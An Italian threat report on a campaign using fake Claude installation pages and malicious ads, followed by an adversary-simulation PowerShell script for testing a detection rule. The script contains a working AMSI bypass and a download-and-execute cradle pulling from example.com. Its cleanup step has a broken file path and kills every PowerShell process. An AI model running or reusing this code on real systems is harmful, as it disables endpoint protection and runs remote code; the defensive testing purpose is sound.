InstallFix e Codice Claude: Come le Pagine di Installazione False Portano a Compromessi Reali

Sommario

La campagna InstallFix diffonde malware tramite annunci Google dannosi che imitano le pagine di installazione di Claude AI. Le vittime sono persuase a eseguire comandi PowerShell che invocano mshta.exe per recuperare un file poliglotto ZIP e HTA, che avvia quindi una catena di infezione multi-fase e senza file. Il payload disabilita la convalida SSL e le protezioni AMSI, scarica codice aggiuntivo da un dominio di comando e controllo specifico per la vittima e crea persistenza tramite attività pianificate. L’operazione ha preso di mira organizzazioni in vari settori e regioni del mondo.

Investigazione

I ricercatori hanno tracciato l’intero flusso di esecuzione dalla pagina di installazione falsa attraverso mshta.exe, VBScript e diversi strati di PowerShell codificato. La deoffuscazione ha mostrato che il malware generava un identificatore unico per ogni vittima e lo utilizzava per costruire un URL di comando e controllo specifico per l’host. La telemetria di rete ha rivelato comunicazioni in uscita verso più domini e indirizzi IP dannosi. Sebbene il payload finale non sia stato completamente recuperato, il comportamento osservato suggerisce attività di raccolta ed esfiltrazione dei dati.

Mitigazione

I difensori dovrebbero bloccare l’accesso ai domini e agli indirizzi IP dannosi identificati e limitare l’uso di mshta.exe e altri strumenti di scripting legacy ove possibile. I controlli di sicurezza degli endpoint dovrebbero essere regolati per rilevare tentativi di bypass AMSI e manomissioni della convalida SSL. Le organizzazioni dovrebbero anche applicare un filtro URL severo per il traffico di annunci Google che conduce a pagine di installazione software. La consapevolezza degli utenti rimane fondamentale, soprattutto per quanto riguarda il rischio di eseguire comandi copiati da risultati sponsorizzati o fonti non verificate.

Risposta

I team di sicurezza dovrebbero generare un avviso su catene di processi in cui mshta.exe lancia cmd.exe, powershell.exe, o interpreti di script con URL remoti sospetti. Questi eventi dovrebbero essere correlati con la creazione di attività pianificate e le connessioni in uscita all’infrastruttura di comando e controllo nota. Se l’attività è confermata, i difensori dovrebbero contenere l’host, terminare i processi dannosi e rimuovere qualsiasi meccanismo di persistenza come attività pianificate. Dovrebbe essere eseguita una revisione forense per identificare eventuali componenti payload senza file rimanenti.

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrativa e Comandi di Attacco:
  L’attaccante ottiene uno script PowerShell dannoso tramite un link di spear‑phishing (T1566.002) che scarica un payload da un server compromesso. Per evitare il rilevamento da parte di AMSI, lo script inietta la stringa AMSI_RESULT_NOT_DETECTED nella memoria del processo, quindi utilizza l’ IEX operatore per eseguire il codice scaricato. L’intero comando è codificato in Base64 ed avviato con il -EncodedCommand flag, soddisfacendo tutte e tre le stringhe selettore nella regola Sigma.

  Step‑by‑step:

  1. Scarica il payload dannoso (una semplice one‑liner PowerShell che scrive un file).
  2. Inietta il marker di bypass AMSI impostando il campo statico privato amsiInitFailed.
  3. Esegui il payload tramite IEX.
  4. Avvia l’intera catena utilizzando powershell.exe -EncodedCommand ….

• Script di Test di Regressione:

  # Simulazione di attacco PowerShell in stile InstallFix
  # -------------------------------------------------
  # 1. Definisci la one‑liner dannosa
  $malicious = @"
  `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
              .GetField('amsiInitFailed','NonPublic,Static')
  `$bypass.SetValue(`$null,$true)
  IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
  "@
  
  # 2. Codifica lo script in UTF‑16LE e quindi Base64 (requisito di PowerShell)
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $encoded = [Convert]::ToBase64String($bytes)
  
  # 3. Esegui tramite powershell.exe con flag -EncodedCommand
  $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
  Write-Host "Avvio di PowerShell dannoso..."
  Invoke-Expression $command

• Comandi di Pulizia:

  # Rimuovi eventuali file temporanei e termina i processi in sospeso
  Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  Write-Host "Pulizia completata."